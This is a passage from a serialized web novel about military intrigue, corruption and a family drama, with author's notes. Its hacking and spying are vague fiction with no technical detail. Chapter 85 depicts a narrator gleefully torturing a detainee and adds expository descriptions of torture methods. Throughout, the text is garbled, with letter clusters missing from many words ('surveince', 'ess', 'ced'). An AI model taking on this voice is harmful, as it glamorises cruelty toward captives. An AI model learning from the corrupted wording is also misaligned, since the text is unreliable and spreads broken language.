
    Next Day-


    I walk up to the barista in the coffee shop and get my coffee fix. Then as Ie out of the shop I see my target get into a BMW.


    I wave my hand to g down a taxi.


    A white Chevrolet finally stopped. The driver lowered the windshield and asked, "Where to, young man?"


    I quickly open the door and sit on the passenger seat by the driver.


    "Start driving, I am a federal agent following a crime suspect, please drive fast," I said as I shed my military badge.


    "Okay, you give directions, I follow," the driver reluctantlyplied.


    We followed the said BMW at a safe pace. The car was moving more towards the outskirts of the city, in another five minutes it would hit the highways.


    "Hey Officer, I do not have a permit to travel to another city or province," he voiced his concern.


    "Just drive on, today I am your permit, make sure to not to lose them."


    While we were driving and dogging the target, I jacked myself to satellite images and remote control of the server around me through my palmtop.


    [Buzz Buzzzz Buzz Buzzzz]


    My phone buzzed at this moment.


    "Hello"


    There was no caller ID again.


    "Did you verify what you wanted?" A heavy voice asked.


    "Yes Sir"


    "Your conclusion?"


    "Currently essing the threat level," I replied.


    "How long will it take?"


    "A week"


    "Why?" the heavy voice asked impatiently.


    "I am in pursuit of the target as of the moment, before the verdict as I want to extract as much information as I can," I replied.


    "Get it done fast or get ready to die too," and he hung up the call.


    I stared hard at that BMW we have been following for thest two hours.


    "Officer, we have to refill in the next gas stop," he trembled slightly as he spoke.


    "Hmm, pull over your car as close as possible to that BMW.


    The driver did as was told, he drove close to the target.


    "Maintain five meters distance from that car,"I directed.


    The driver followed the instructions to thest detail.


    The roads were not too crowded so the prolonged same pace may give away the whole game.


    As we closed on the BMW, I shot a GPS device on the inside of the car''s tire.


    "Now move ahead of the car and find a gas station to fill it up," I directed.


    The driver did the same, while I checked the GPS device I just attached. It is thetest military model essories made for field agents to track their target within a range of at least one mile in fine details and overall a range of three miles.


    We got our cab''s gas-filled. While I followed the GPS tracker on my palmtop.


    We then drove ahead of the target vehicle. After another hour it stopped outside a countryside resort.


    My target walked out and went inside.


    "Stay here. Give me your phone number, I will be back," I hurriedly added the driver''s contact to my phone contact and stepped outside the cab.


    I walked inside the resort and grabbed a seat in the restaurant. Then hack into the system and get me ess to surveince cameras within the resort.


    Next, I look for my target.


    I look through the various frames.


    ''Where are you?"


    "Where are you my prey?" I think aloud as I search my target from frame to frame.


    ''There you are, huh''


    A tall stoic built man, with tanned skin. Wearing Hawaiian Shirt and big sunsses with a tack cap hiding him from most of the surveince cameras.


    I follow him through the cameras.


    "Sir Would you like to order something?" a waiter asked.


    "Get me freshly squeezed lime juice, that will do for now," I ordered.


    "Yes Sir"


    The waiter left. I changed it to the surveince tab.


    ''So where are you going and whom are you meeting?''


    The target walked into a room.


    "Sir your juice," the waiter ced a ss of lime juice.


    "Hmm, I have a meeting in room 204 can you tell me when I can move there?" I asked.


    "Sir, I have to ask at the reception."


    "Please do and let me know as soon as possible," I curtly replied.


    While I waited, I sipped on the lime juice.


    After some time the waiter returned.


    "Sir, the room is currently upied by another customer."


    "When will it be free and open?" I enquired with a slight edge in my voice.


    "S-Sir, it is booked for all day, may I arrange for another room for you?" he replied timidly.


    "Who booked it for the whole day? I will pay you to double the amount, do whatever you can, get me that room in another half an hour"


    "S-Sir," the waiter grimaced.


    "Who is there inside? Let me talk to the customer myself," I offered.


    "Sir, it is not that we don''t want to do business with you but we really can''t disturb the visitor in that room," he replied.


    I took his hand and slid a roll of red notes, "Tell me who is the person inside, I won''t tell anyone. Instead keep this as my gift for saving me from potential blunder".


    "Sir.." the waiter looked ufortable as he looked around him.


    He bent down a little as he picked up my now empty ss of juice. Then he quietly whispered, "the person inside is Congressman and party leader, Mr Gu".


    I raised an eyebrow as he named the man. "Thank you for saving my career, angering a party person is the sure-shot route to demotion, Thank You." I waved away the waiter.


    Then I continued to observe the surveince.


    **********


    [POV Hu Qiang]


    Inside Hu Qiang''s Office-


    As I moved out of the house, that day I realised how deeply I hurt her.


    She didn''t call me neither she left any messages for me. While Xiao Wei gets to stay with her. Even he is not talking to me. Both of them havepletely gone radio silent on me.


    I tapped my fingers against the table for a long time and then decided to call my parents.


    I dialled their number as the phone kept on ringing.


    [Tring Tring]


    "Hello, you reached Hu Residency-"


    "Dad, it me Qiang"


    "Oh, say what do you want?"


    "I wanted your advice on asking forgiveness from Bai Chang," I straight away dived to the main point.


    There was silence on the other side of the phone.


    "Why?" he asked.


    "What do you mean why? I have to apologise for my extreme behaviour regarding her health check-up and all."


    On the other side of the phone, my dad sighed heavily, "Qiang, you are in much deeper sh*t than you are aware," he said.


    "Why do you say so?"


    "We had a talk with Zhang Wei before we left."


    "So, what with it?"


    "Didyou have a talk with Zhang Wei recently?" he asked instead.


    "Yes we did had a talk-"


    "What did he say to you?" my father interrupted me and asked instead.


    "That I should take better care of Bai Chang," I replied.


    "Is that all?"


    Something feels odd, "Dad, what is the matter?"


    He sighed again, this is so unlike my dad.


    "What the matter, dad?"


    "Qiang, you should brace yourself for hardship, it seems Zhang Wei still holds a grudge against the Hu daily for our past negligence."


    "Dad, what do you mean?" my heart constricted.


    "I mean exactly what I said. You have made a big mess, but the past hase to haunt us. Be careful every step of the way in how you treat Bai Chang!"


    "I do take everything into consideration when I am with her dad."


    "It''s clearly not enough, I suggest son, youe clean about your rtionship status with Bai Chang in the past. If you don''t you have more to lose than anyone involved in this whole emotional turmoil."


    I keep my silence this time and think more.


    "I understand, dad. Thanks, I will talk to youter," I said and finally ended the call.


    --------------------------------------


    Author''s Disimer, I have my exams going on. So most of thest week chapters were from my stockpile. I will try to keep up a steady update.


    While please continue to support the story by voting for it.


    I am really thankful to divya_12 and Yajaira_Ramirez_4324; till now the highest contributor to the story for the past two weeks.


    I really appreciate your support.


    Keep voting for the story, I just saw that we lost the win-win event. Still please vote for the story to put it on some leader boards.


    While let me know your views and feelings about the story in thements. I love to read them. They are my dose of motivation. Please keep me motivated.

 Chapter 85: Punish {gore content}

    Chapter 85: Punish {gore content}


    <em><strong>[The chapter will be a little on the darker side with torture involved; read at your own risk]</strong></em>


    [POV Feling]


    Secret Room Army Base Camp-


    "What do you mean, that we have a leak from our side?" the General thundered.


    I keep my silence in front of this man.


    "Exin," he ordered.


    "Sir, the motive might be political, from my side I have proof of corruption against the target but I can''t be clear of the political involvement," I answered.


    "Then what do you want?" this time the Colonel asked while the General was fuming at the side.


    "Simple, lets order shuanggui against our target, we will get our required information after some disciplinary actions," I suggested.


    "On what basis?" the Colonel asked, clearly he looked flustered to even tackle a senior officer as the target for ssified information leakage.


    The room was pin-drop silent, while all the members present were a little lost in their own thoughts. Atst, after some time the General spoke up, "Do what you feel necessary, I saw your report as well as proofs that you presented. You have my permission to go ahead."


    "Yes Sir" I saluted and left.


    As trading of ssified information is a serious crime against the nation, more so if you get caught red-handed for it, I can apply for shuanggui disciplinary system against my target.


    The Central Commission on Discipline Inspection (CCDI)  has been a central yer in the campaign, particrly through its abusive shuanggui disciplinary system.


    The shuanggui system, which functions beyond the reach of Nation''s criminal justice system, gives the CCDI the authority to summon any of the Communist Party''s 88 million members to ount for allegedly ill-gotten gains at a "designated location at a designated time." Those summoned are deprived of liberty for days, weeks, or months, during which time they are repeatedly interrogated and often tortured. Typically, shuanggui detention ends when the official confesses to corruption or other alleged disciplinary vitions; some are then transferred to the regr criminal justice system for prosecution.


    The shuanggui system not only facilitates serious human rights abuses, but it also depends on them. The threat of being subjected to shuanggui strikes fear in Party members regardless of their position. A wide range of officials across industries and provinces  from normally untouchable former Politburo-level officials down to minor local authorities, from national sports team coaches to famous media figures  have been subjected to the system.


    Shuanggui detainees face interrogation about corruption or other vitions of Party rules. The system relies on indefinite and at times prolonged solitary confinement; individuals were taken into custody typically have no contact with the outside world, including family members andwyers, and are watched around the clock by teams of officials who function as guards. Detainees have none of the procedural rights protected under international human rightsw or even those that criminal suspects are entitled to under nationalw, such as ess towyers or appearance before a judge.


    In many cases, shuanggui detention begins with an enforced disappearance, with detainees'' families having no idea where their loved one is or why he or she is being held. Shuanggui detainees (also referred to as "CDI detainees") are not held in police stations or other official detention facilities, but often in hostels and training facilities for Party cadres.


    Shuanggui thus provides authorities with a tform to coerce confessions from suspects that are then used in court. Because Nation''s criminal justice system, from procurators to judges, is dominated by the CCP, there are few effective checks on the improper use of this evidence to convict and sentence individuals caught up in the system.


    The use of shuanggui allows judges to skirt even the minimal protections due to the criminal suspects in Nation. Judges typically refuse to examine any documentary evidence, including paperwork and any video recordings of shuanggui interrogations; nor is this material avable to the shuanggui detainees or their legal representatives.


    Even though nation''sw requires that evidence obtained through torture be excluded during criminal investigations, we are not aware of any case in which a court acquitted a suspect or overturned a conviction due to misconduct by investigators that urred during shuanggui. CDI officers are only subject to oversight within the Party.


    Human Rights Watch found only two cases in which low-level interrogators and guards were jailed after torturing and killing shuanggui detainees. CDI officers otherwise appear to be able to act uwfully with impunity.


    The fact is will he survive what I have prepared for him?


    ''Serves him right, for trying to screw me over instead,'' I thought to myself.


    ****


    <em><strong>Some unknown location-</strong></em>


    "Aargh!"


    "Aargh aaargh arrgh!"


    As I enter the room I am weed with the pleasant sound of my target in pain.


    "Well hello, there Lt. General. How is our hospitality? Did we miss something, or did wrong, please let us know," I jested.


    The man in front of me was naked as he is forced into a crouching position; feet ced one behind the other. Only the front half of the back foot touches the ground and therefore carries nearly the whole bodyweight.


    The man simply groaned in reply. His skin shows welt mark all over his body.


    He is semi-conscious, I don''t like it.


    Almost every prisoner in the People''s Republic had to or still has to suffer being beaten and kicked. This by far, the mostmon form of abuse is especially easy to spot once the prisoner has been released from prison as the victims exhibit widespread bruises and injuries on their bodies. Numerous victims of torture have reported that the beatings and other torture methods stopped a few weeks before they were due to be released from the camps or penitentiaries in order not to leave behind any external signs of the abuse. Inmmations and even greater pain can be the consequence of further abuse.


    The victim must  often over a number of days and sometimes whilst tied up  remain in a certain position. This form of torture is often used inbination with the deprivation of food, water or sleep.


    "Hello, Lt. General"


    "Why am I here?" he yowled in pain.


    "You still not aware of your crime?" I mocked him.


    I pick up a taser from the corner table and tase him at a lower setting.


    "Aaaugh!"


    "argh, aargh, aaargh, arrgh, arrrgh!"


    I pull up a piece of paper from my back pocket, while the man in front of me growled and gasped in pain.


    "Come here, let me show you your crime," I dragged the man by his hair and pulled him under a brightmp, "now read this aloud!"


    His hands shook wildly after being released from his punishment posture. He grabbed the papers, then squinted his eyes from the bright light, trying to adjust his vision.


    "I-I ma-made deals, deals with Cobra Gang and sold them five hundred units of military weapons and..." his eyes went wide the further he read.


    [Smack!]


    "Keep reading, who asked you to stop?"


    I tased him on his inner thighs and then on his p*nis.


    "Aargh, aargh, aaargh, arrgh, arrrgh.!"


    "Please forgive me, f-for-forgive me, argh, aargh, aaargh, arrgh, arrrgh.!"


    He howled in pain.


    "Save me S-Save m-me!" he begged while he withered in pain on the cold prison floor.


    "Should have thought about the consequences, before you dealt with them"


    The former strong man, the illustrious Lt. General was now rolling on the floor, looking all grim and pained.


    Suddenly it started smelling musty in the prison.


    I looked towards the man on the ground, he was still begging for mercy while he had pi**ed on himself.


    ''Disgusting'' I scowled as I looked at the mess of a man he is and left the room.


    "Salute" a sergeant greeted.


    "At ease, put him in Corsage and force-feed him once a day. Keep me updated with thetest development of the prisoner.


    "Yes sir" the sergeant turned his heel and walked inside to execute the orders.


    The "Corsage" consists of a piece of canvas with sleeves. The sleeves are longer than the arms and have strings attached to them. With these strings the victim''s arms are crossed and tied up behind the back, then forcefully pulled back over the head. This violent upward-pulling motion causes the shoulders to dislocate and the arms and elbows to break. In some cases, the victim, who is experiencing great pain, is then hanged upside-down from a tree.


    While again and again, prisoners go on hunger strike as a means of protest against the conditions of their detention or against theck of legal foundation of their detention. Those prisoners are usually punished with forced feeding. The main aim of the forced feeding ordered by the police is not however to feed the victim. The objective is to break the will and the resistance of the victim.


    ****


    Somewhere unknown-


    "You think he will confess?" The General asked.


    "Yes Sir, he would give his statement within a week," I answered.


    "What are the charges against him?"


    "Sir, he is charged for top-secret military data leakage i.e. ''Project 33'' along with selling military weapons to a potential enemy of the nation and partaking in trades of sensitivemodities with politicians and criminals alike as well as mishandling of government funds allocated for specific military purpose." I ounted.


    There was pin-drop silence in the room.

 Chapter 86: Its Bonding Time

    Chapter 86: Its Bonding Time


    [POV Hu Qiang]


    <em>Inside Hu Qiang''s Office at The Hu Corporation Headquarters-</em>


    "Bosss"


    My entire being had goosebumps after listening to his sharine voice.


    "Li Ming, behave. How many times do I have to tell you to speak properly?" I rebuked him.


    "Boss, I heard you got thrown out of Madame''s house this time."


    ''Would it kill him if doesn''t speak of it?''


    "Li Ming, are you interested to work in the international department with Matt?"


    As soon as he heard Matt''s name he turned into a shrivelled eggnt.


    "Boss, do you hate me so much? You are feeding me to that wolf." He looked at me with gooey eyes.


    "Then get some work done."


    I do not understand, they are couples, yet they love to stay away from each other. On the other hand if one suffers any injustice the other woulde running to be a knight in shining armour of the other partner.


    They met while working in my New York office and since then they have been involved in a whirlwind love affair.


    "Why are you so scared of Matt? It''s not like he will eat you up!"


    "Boss, why are you scared of Lady boss then? It''s not like she will kill you!" he retorted.


    I am left speechless by his shamelessness.


    "That''s a low blow, I guess I will simply call over Matt here to work with me than you. You can go sulk across the Pacific ocean."


    "Boss, did someone tell you that you are turning into a vengeful ghost. Leave Matt be, after all, I am here to serve you," he said in his sharine voice.


    "Will it kill you to use a normal voice, I get goosebumps listening to you. I so miss Li Jie. He was much better than you."


    "What''s so good about that stoic man, as hard as stone, only knows how to work!" he pouted.


    "Enough talks let''s get back to business."


    My heart is a little light after a light banter with Li Ming, after I reach home I will have to think of ways to get close to my wife.


    "Boss, Matt informed mest night, we have potential bidders for the security code international version. Among the bidders, some are our previous customers but this time we also have some new faces."


    "Who are they?"


    "He said that it is better to talk in person to deliver the relevant news," he replied.


    I raised an eyebrow, "Matt said this?"


    "Yes"


    "Then we have a business tour to n, What else are there?"


    "Boss, the government wants to impose an exclusive use on the security codes, in fact, they arranged a meeting with us in another half an hour."


    "Where?"


    "In the Military base."


    ''Hmm''


    I wonder if they are trying to pressurise me into giving them the technology for free.


    "Okay, let me see the Military Base is forty minutes away from here, we will never reach on time so why are you informing me about this so-called meeting now?"


    "Boss, the meeting details were lost in the piles of various office memos. So we were not aware of this meeting until just now. How could we be med if they don''t even know how to arrange a meeting?" He answered while sounding all flustered.


    While I was admiring the ck-bellied of this man inside, I went along with his line of narration.


    "Okay, let me make some calls, while you handle the paperwork," I ordered.


    "As usual," he winked at me and left my office.


    While inside the office I am left with a ton of work that uses too much brainpower.


    ****


    [POV Bai Chang]


    After the nifty little trick that I yed on Feling and that General, I spend most of my time with Xiao Wei.


    "Mamma, What is it like to be a genius?"


    "Why do you ask?" I look towards the adorable munchkin.


    "Because I feel they are lonely."


    He was calm as he answered, I sensed that we might have some deep talks today so I simply followed the flow and asked him back gently, "Why do you feel so?"


    "Because I saw you being lonely," he answered in that baby voice of his.


    We do not give enough credit to children but they are an excellent observer of their surroundings.


    (I guess today, it''s my turn to get busted by him!)


    "Munchkin," I pull him on myp as he sits facing towards me, "What made you feel so?" I asked.


    "Mamma, you always take actions alone, I am small so I can''t help you, while you don''t seem to trust dad either. As a matter of fact, it mighte across that you do not trust others at all. Is it all because of me? Is it because of what happened almost four years back?" he asked me with misty eyes.


    I looked on as the unshed tears in his eyes brought about a sharp pain in my heart.


    (That is a mother''s heart, clenching up in presence of her upset son.)


    I look into Xiao Wei''s eyes. They resemble Bai Chang''s eyes the most. Those misty eyes holding several unspoken words.


    "Munchkin, do you trust Mamma?" I asked as I do not want to lie to his little fellow. He deserves every bit of happiness.


    "Are you sad that Mamma took you away from school?"


    "No Mamma, I know thest time they took me to have leverage on you. I don''t want the past to repeat itself."


    (My heart breaks as I listen to this little boy. ''How much did he go through when Bai Chang was asleep?'')


    "I trust you the most, Mamma," he replied in his sweet adorable voice.


    At this moment I realised as I look into his eyes, there is deep trauma within this child. He was with Bai Chang during the whole ident, only when Bai Chang saved him did she get caught by the enemy.


    So for all these years, this boy has hidden the truth from others as well, deep inside him. All alone ming himself and hurting from it too.


    "Munchkin, what do you remember from that night of the ident?" I asked as I tested the waters. And sure enough, the little boy, the treasure of Bai Chang''s heart, falls apart for the first time and cries.


    "Wuhh Wuhuuu Wuhhh Wuhuuu"


    I pulled him much closer to me and hugged him tightly, while I let the little boy who turned into a man cry.


    "Wuhh Wuhuuu Wuhhh Wuhuuu"


    I let the little munchkin cry as I pat his back and rubbed his head. My heart seared and I felt a wave of unced anger towards the Hu family.


    (How did they take care of this child? Are they his family at all? How have they been with him for thest four years?)


    There were so many unanswered questions but they all had to wait.


    I try to console this child. I let him cry his heart out.


    "Munchkin, Mamma promises that Mamma will always try to be by your side and be with you. Now that Mamma is back, stay with Mamma and I will take care of the rest."


    I do not force Xiao Wei anymore to relive his nightmare. Instead, I started to sing the luby that I sang for himst time.


    "Oh my sleeping child


    The world so wild


    But you build your own paradise


    That''s one reason why


    I''ll cover you sleeping child


    The milky way upon the heavens


    Is twinkling just for you


    And Mr. Moon, he came by


    To say goodnight to you


    I sing for you


    I sing for mother


    We''re praying for the world


    And for the people everywhere


    Gonna show them all we care


    Oh, my sleeping child


    The world''s so wild


    But you built your own paradise


    That''s one reason why I''ll cover you, sleeping child


    If all the people around the world


    They had a mind like yours


    We''d have no fighting and no wars


    There would besting peace on earth


    If all the kings and all the leaders


    Could see you here this way


    They would hold the earth in their arms


    They would learn to watch you y (They would learn to"


    And he fell asleep in myp, exhausted from all that crying and emotional turmoil.


    Looking at his adorable face, I silently harden my heart to get those bas***ds from past to justice, if only for Xiao Wei''s sake.


    "Don''t worry child, Mamma will always be your shield," I brushed his hair away from his head and then carried him to the bedroom, to let him rest properly.

 Chapter 87: Bai Chang is OP!

    Chapter 87: Bai Chang is OP!


    [POV Zhang Wei]


    I stayed back with the squad to look after Beta. As I look at his recovery process, a hundred drums are beating in my heart.


    ''How did she do it?''


    It is beyond my imagination that injuries that would take at least a month to heal even after superior medical care just got healed in a matter of one day right before my eyes.


    Even if I think with my knees I know, this type of medical service is unprecedented in our world.


    ''Did she inherit the old Master''s Family secret?"


    While my brains are trying to draw its own inferences, I know I have to handle the squad first. Because, if this leaks out we are doomed.


    Finally, I put together Beta''s medical charts and gathered the squad for a team meeting.


    "Everyone gathers around the bed, its team meeting time," I called out.


    rush  rush.


    The members form a line at the tail end of the patient bed, Beta is still lying down on the bed, but colour has returned to his face, a sign of good recovery. I am standing beside him.


    "Gentlemen, you are aware of what happened during this mission? List it out for me."


    "Sir Yes Sir," Alpha responded, "The mission objective was to babysit target 1 name- Feling. At sixteen hundred hours on Wednesday, we followed Target 1 to an abandoned factory at the outskirts of the city. There we witness a deal taking ce between target 1 and some other person. We tagged the person as Target 2.


    Target 2 profile- tall around 165 cm, age range around thirty-eight to forty-five. Distinct feature- salty hairs and higher rank military officer.


    Due to theck of audio surveince tools, we were unable to eavesdrop on the actual conversation. We opted for lip reading.


    We summarised that there is a conflict among them due to some ssified information dubbed ''Project 33''. So we decided to follow target 1 and target 2 separately. Alpha followed target 1 while Beta followed target 2. We separated our paths from the same venue, each following their respective targets.


    As I followed my target, there was no further suspicious activity, other than his frequent calls to the military base. Inside the camp, what happened is a ckout zone for us.


    Then at zero seven hundred hours, I got an SOS signal from Beta. The location was a predetermined meet point near Rubric junction. When I arrived there, I saw a heavily bleeding Beta in hiding. We followed protocol as directed by the headmander and arrived here on the Vi.


    End of report."


    I keep my silence. It is the same asst time only with more details.


    I looked towards Beta, "Report in detail, your pursuit of target 2".


    "Sir yes sir," Beta responded, albeit with a little less vigour than Alpha, "I started my pursuit of target 2 from the abandoned factory, at eighteen hundred hours on Wednesday.


    First I followed behind him at a safe distance of hundred fifty meters. Target two lives a much high profile life. He was identified as a Lt. General in the Army. Mostly in-charge of Military Research and Development, he had ess to various resources and a huge amount of liquidated funds at his hand.


    He had ess to social connections like politicians and high ranking underground members. After his meeting with target one - Feling, he had another meeting with some Russian illegal arms dealer at the same factory. This time as I followed them I sent out signals of my activity to Alpha.


    In the factory, target two made deals with the underground dealer buying arms as well as powdered substance, Which I suspect was drugs. Then they moved towards the more interior parts of the factory and started discussing ''Project 33''.


    For the better hearing purpose, I moved towards the interiors of the factory.They were trying to reach a middle ground on a specific part orponent of ''Project 33''. While the on body camera recorded it all, a reflective surfacepromised my position. One of theckeys of the arms dealer got whiff of me from the reflective surface and called out a warning to the units. They mostly had AK-47 and semi-automatic rifles. While I tried to make my escape from the ce I got shot and came to exchange blows with the doorman. He was skilled in closebat and sharp knife skills. That is where I had heavybat.


    I exchanged my safety with his quick decapitation. After decapitating the doorman, I hid my trail using headmanders first aid and reported to our meeting point. And then I lost my consciousness."


    "Umm hmmm"


    I took a deep breath and said, "Do you know your mistakes?"


    "Sir Yes Sir, we didn''t call for an extra backup," Beta replied.


    "Good, that you are self-aware, otherwise" Iposed myself, "this time you were lucky. But this would not be the case every time. You of all people should be more aware. Do not repeat your past mistakes," I warned him.


    "Squad, let this mission be education to you, there would be no next time. This time do not disappoint the master of Shui family who raised you, we have to protect our


    Miss at any cost this time. We can''t let history repeat itself and lose Miss again to some unfortunate events," I reminded them.


    "As for anything rted to Miss, they are to be ssified to first order, right. No discussion, even among yourself. All things you witness or hear are to be confined within these walls alone, Am I clear?" Imanded.


    "Sir Yes Sir," the squad replied with vigour.


    "Fine, you all will remain here, for the time being, do not touch anything. If we find any disobedience, they will be judged ording to strict martialw," I reminded them before I took my leave from the squad and returned to the main house.


    ****


    The whole evening passed by without any hitch. I wanted to discuss something with Bai Chang, so I headed towards her study room.


    As I moved closer to the door, I heard voices from inside, It was Xiao Wei and Bai Chang having a conversation. As I was about to knock the door the context of the conversation caught me off guard.


    "No Mamma, I know thest time they took me to have leverage on you. I don''t want the past to repeat itself."


    "I trust you the most, Mamma," Xiao Wei replied in his sweet adorable voice.


    At this moment I realised there is deep trauma within this child. He was with Bai Chang during the whole ident, only when Bai Chang saved him did she get caught by the enemy.


    ''So for all these years, this boy has hidden the truth from others as well, deep inside him. All alone ming himself and hurting from it too.'' I thought to myself.


    "Munchkin, what do you remember from that night of the ident?" she asked as she tested the waters. And sure enough, the little boy falls apart and cries.


    "Wuhh Wuhuuu Wuhhh Wuhuuu"


    "Wuhh Wuhuuu Wuhhh Wuhuuu"


    (How did they take care of this child? Are they his family at all? How have they been with him for thest four years?)


    She tried to console the child and let him cry his heart out.


    "Munchkin, Mamma promises that Mamma will always try to be by your side and be with you. Now that Mamma is back, stay with Mamma and I will take care of the rest." She said with determination.


    Listening to all this, I realised its best to give them their own space.


    Thus I left without knocking on the doors.


    ****


    Next morning-


    I finished my early morning exercise and conducted some drills for the squad members, together we ran across the perimeter of the property and double-checked the security measures.


    As I fixed breakfast for the people around I picked up today''s newspaper.


    "Government bust major corruption among the elites"


    The headline itself piqued my interest so I read through the article.


    The more I read, the more I felt incredulous.


    The squad joined in for breakfast and we turned into a news channel.


    "Breaking news! Government exposes major corruption."


    "Military officials were found guilty."


    "Politicians wanted their share of the soup, needless to say, they are all sharing wine of punishment in the detention centre."


    As we watched the whole news, we were all puzzled.


    "Captain, How did our target and surveince material get posted in the National News channel?" Alpha asked.


    I keep my silence. ''I have to talk to Bai Chang ASAP.''


    At this moment Bai Chang walked down the stairs.


    "Zhang Wei, what''s for breakfast today?"


    We all simply stared at her, contemting how to break the news to her.


    "Why are you guys staring at me?"


    She looked towards the TV screen, the news channel was broadcasting the incriminating video material for people nationwide to see.


    "Oh! It aired faster than I thought," she said and sat down on the dining table to have breakfast.


    "What do you mean?" I asked her, not sure what to make out of it.


    "Nothing, that''s my way of getting back at people who try to mess with me, do not worry, the Lt. General is having a st of his time getting VIP treatment from Feling and other senior officers. As for those arms dealers, they were assassinated by the Military," She said.


    "Huh"


    We all collectively took a deep breath.


    Alpha gave her thumbs up and said, "Our headmander is OP in the truest sense".


    We are not aware of how it happened? But we got to see the result, it was an absolute massacre, a total annihtion.


    "Anyone who messes with us the wrong way will get a ticket to the highway of the purgatory," she stated.

 Chapter 88: Li Jie Returns

    Chapter 88: Li Jie Returns


    <em></em>


    [POV Li Jie]


    ''It has been months now since I have stayed away from the youngdy. I have travelled across the globe in search of answers. Answers to the Shui family mystery.''


    I still remember vividly myst meeting with the Youngdy.


    We were sitting in her study room. The jammers were in full function, then she said, "Brother Li Jie, I am in immediate need of your help".


    "Please say, what do you need?"


    "Brother, I suspect there is a vastwork responsible for the death of my parents. What we are aware of is just the tip of the iceberg."


    "Young Lady, you mean to say"


    "Yes, more people are working behind the scenes to make our life difficult and are targeting me, and they will not stop until they get what they want!"


    "What do you propose then?"


    "This time we are in the dark, we just have to drag them to light. This will help us know who our opponent is?"


    "Brother, I only trust you with this. I suspect a few groups of people, could you take a look into them all, very discreetly?"


    "Rest assured, I will get it done."


    It has been five months since then.


    As I was about to leave, Bai Chang gave me a few survival kits as well as a discreet surveince kit.


    I have been travelling incognito since then.


    First I went to country A. There is city C, they have the world''srgest Silicon Valley. A hub for various think tanks and techpanies.


    ording to the youngdy''s list of suspected people and proposed action n, I had to apply for a job here in a think tank called ''Future Space-Time''. They are not so well known or public but they all knew the right people at the right ces, which helped them to establish theirpany and also get lucrative jobs.


    I interviewed for a position there and surprisingly I got hired. I worked as an office manager and ountant as well as a member of the think tank Research and Development. The resume that Bai Chang fixed for me for this job, seems to have worked its charm.


    Mostly the first few weeks I would do the office work and manage their books. Later after a month, I got the opportunity to flex my other skills. They were stuck at a major design stage for a particle cannon. I gave them a few pointers and these helped them to finish the design and win a major contract.


    All went downhill from then. As I was appointed to a very confidential project called ''Project 33''.


    This project is spread all over the world, with various branches responsible for a specific part of the project assigned to them.


    I was asked to move to the capitol city of country A, where once Inded I realised I am constantly under someone''s watch. When I indirectly addressed the issue with the firm I worked with, I realised that I am not the only one.


    While I was working I got ess to various files and information. The more I got to know the more I realised the mess we are in. I wondered how much did Bai Chang know about all this?


    From all her meticulous ns and foolproof execution till that time I realised she is aware of more stuff than anyone else.


    I worked there for two months and then I was asked to move to a secure location after evaluating my work''s worth. I immediately knew that I have to get out of there because if I step inside the doors of the secure location I am never going to see the dawn of the next day.


    Istarted to keep my eye out for an opportunity. And the opportunity came soon after. On my way to the secure location, I faked my death and left the country to travel to my second location.


    I travelled through the waterways and smuggled myself as a stowaway. After reaching country E across the small pond, I used a second identity and its respective disguise to apply for a job of butler in a private aristocrat family.


    I have no idea from where Bai Chang acquired her information but till now they have been spot on. When I was about to leave, Bai Chang left instructions and respective paperwork at certain ces.


    Initially, I was shaken butter as days passed by I got used to it. Even when she is halfway across the globe. I still feel a sense of security like I am never alone. It makes me sometimes wonder, how did the youngdy be like this?


    Most of our contact has been one way, where she sends me the right thing at the right moment. Due to security concerns, I never contact her directly.


    It had been two months since I started as a butler to this family. They are a rich old line of an aristocratic family who could trace their roots to the lineage of King Louis the third, the king of West Francia from 879 until he died in 882. The eldest son of King Louis II and his first wife Ansgarde of Burgundy, he seeded his father and ruled jointly with his younger brother Carloman II, who became sole ruler after Louis''s death. He was mostly known for his sessful military exploits.


    Currently, the family grows under the title of House of Ons. Surprisingly, the members of this house are involved in all types of charity work or social services.


    At first, I was not aware why I have toe here and what I will achieve from staying here. Not untilst week.


    Last week after staying as a helping butler on the Estate grounds, I came across a shocking moment. While I was delivering some snacks for the guests in the study room, I overheard a person speaking,


    "You know how those tech think tanks work like, we had some good progress for thest few months but s! The person responsible died in a cross-firing while they were taking him to a secure location."


    My heart almost jumped out of my mouth. ''What kind of web is all this?'' I thought to myself.


    To get a clear picture of what they are up to, I ced one of those secure and portable surveince tools that I acquired from Bai Chang to use.


    I ced a microphone near the table crooks and also ced some biodegradable microscopic trackers in the drinks. While I was walking out of the study, I ced a micro-dot camera inside the doorknob and left the ce before they grew suspicious of me.


    I rushed to a corner and started to listen to the audio device while I went about my daily routine.


    At first, there were some indistinct noises.


    [zii zii tuuu tuu, zii zii]


    Then there was the sound of chairs scraping against the floor and then some indistinct noises.


    I try to fine-tune the audio waves received, after a couple of tweaks and turns-


    "You think it was nned, and the other side is hiding information from us?"


    "Possible" a heavy voice replied.


    "Then what do you suggest, our next step should be?"


    "We have to confirm our suspicion."


    "How? We can''t be the sitting ducks here all of a sudden otherwise ''Project 33'' will slip through our fingers."


    "Hmm"


    "How about we activate our underground forces?"


    "Idea is not bad, but we run the risk of exposing our tails. Someone can grab hold of it and reach to our heads too if we are not careful."


    "Then?"


    "Let''s hire external forces to take care of our dirty work."


    "Where do we start?"


    "Start from that missing researcher from the silicon valley, check if the asset is truly dead or someone is benefitting from it in secret. If that is the case then ording to the situation, we either eliminate it or get him to join us. After all, whoever makes major progress now willter be the un-named ruler of the future world."


    While listening to a n against me in person, made me feel queer.


    <em>(I just listened to a n that aims to kill me and wipe me from the face of the earth. It would be a lie if I say that I am not mad. The thing is, I am super mad and want to screw them over royally.)</em>


    "Hey James, What are you daydreaming about? get back to work!" someone shouted at me from behind.


    "Hey, what is wrong with you?" the head butler asked me in a slightly annoyed voice.


    "Head butler, I think I aming down with fever or flu, I don''t feel well," I lied, my face is already flushed from anger so it was not much of a lie.


    "What? Did you have to get sick now? Fine, go to your quarters, for now, I will arrange something for you after some time."


    "Yes head butler," I politely bowed my head in greetings and left the premise.


    <em><strong>(Now it is my turn to cause some mayhem here.)</strong></em>

 Chapter 89: Li Jie Returns (contd)

    Chapter 89: Li Jie Returns (contd)


    ******


    <strong><em>After ten days somewhere near Arab borders-</em></strong>


    I have left the ce as my mission there was aplished. Next was to infiltrate the Emirates.


    It is a lot easier said than done, my head hurts just to think up an entry point to the luxurious world of the Sheiks.


    Till now all the information that I gathered left me speechless. The more I walked ahead of the road set by Bai Chang, the more shocked I was. The amount of nning and resources involved with this whole setup is unimaginable.


    ''What did the Shui family get into?''


    I moved through a small vige on the outskirts of the border, this time I am nk and without any back-up, identity to work with.


    As I moved around the vige, there were very old phone booths around the marketce.


